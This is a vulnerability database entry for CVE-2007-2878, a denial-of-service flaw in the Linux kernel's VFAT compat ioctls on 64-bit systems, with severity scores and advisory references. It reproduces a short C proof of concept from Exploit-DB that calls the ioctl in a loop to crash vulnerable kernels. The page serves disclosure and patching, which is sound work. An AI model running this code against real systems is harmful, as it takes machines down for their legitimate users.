CVE-2007-2878 : Detail

CVE-2007-2878

0.22%V4
Local
2007-05-29
18h00 +00:00
2017-10-09
22h57 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

The VFAT compat ioctls in the Linux kernel before 2.6.21.2, when run on a 64-bit system, allow local users to corrupt a kernel_dirent struct and cause a denial of service (system crash) via unknown vectors.

CVE Informations

Metrics

Metrics Score Severity CVSS Vector Source
V2 4.9 AV:L/AC:L/Au:N/C:N/I:N/A:C nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 30080

Publication date : 2007-05-23 22h00 +00:00
Author : Bart Oldeman
EDB Verified : Yes

/* source: https://www.securityfocus.com/bid/24134/info The Linux Kernel is prone to a denial-of-service vulnerability. A local attacker can exploit this issue to cause the kernel to crash, effectively denying service to legitimate users. */ #include <sys/types.h> #include <sys/ioctl.h> #include <dirent.h> #include <stdio.h> #include <unistd.h> #include <fcntl.h> struct kernel_dirent { long d_ino; long d_off; unsigned short d_reclen; char d_name[256]; /* We must not include limits.h! */ }; #define VFAT_IOCTL_READDIR_BOTH _IOR('r', 1, struct kernel_dirent [2]) #define VFAT_IOCTL_READDIR_SHORT _IOR('r', 2, struct kernel_dirent [2]) int main(void) { int fd = open(".", O_RDONLY); struct kernel_dirent de[2]; while (1) { int i = ioctl(fd, VFAT_IOCTL_READDIR_BOTH, (long)de); if (i == -1) break; if (de[0].d_reclen == 0) break; printf("SFN: reclen=%2d off=%d ino=%d, %-12s", de[0].d_reclen, de[0].d_off, de[0].d_ino, de[0].d_name); if (de[1].d_reclen) printf("\tLFN: reclen=%2d off=%d ino=%d, %s", de[1].d_reclen, de[1].d_off, de[1].d_ino, de[1].d_name); printf("\n"); } return 0; }

Products Mentioned

Configuraton 0

Linux>>Linux_kernel >> Version 2.6.21.1

References

http://secunia.com/advisories/27747
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.redhat.com/support/errata/RHSA-2007-0939.html
Tags : vendor-advisory, x_refsource_REDHAT
http://secunia.com/advisories/28626
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.debian.org/security/2008/dsa-1479
Tags : vendor-advisory, x_refsource_DEBIAN
http://www.ubuntu.com/usn/usn-510-1
Tags : vendor-advisory, x_refsource_UBUNTU
http://osvdb.org/35926
Tags : vdb-entry, x_refsource_OSVDB
http://www.vupen.com/english/advisories/2007/2023
Tags : vdb-entry, x_refsource_VUPEN
http://secunia.com/advisories/26760
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.redhat.com/support/errata/RHSA-2007-0705.html
Tags : vendor-advisory, x_refsource_REDHAT
http://www.ubuntu.com/usn/usn-489-1
Tags : vendor-advisory, x_refsource_UBUNTU
http://secunia.com/advisories/25505
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.securityfocus.com/bid/24134
Tags : vdb-entry, x_refsource_BID
http://www.ubuntu.com/usn/usn-486-1
Tags : vendor-advisory, x_refsource_UBUNTU
http://secunia.com/advisories/27436
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/26139
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/26133
Tags : third-party-advisory, x_refsource_SECUNIA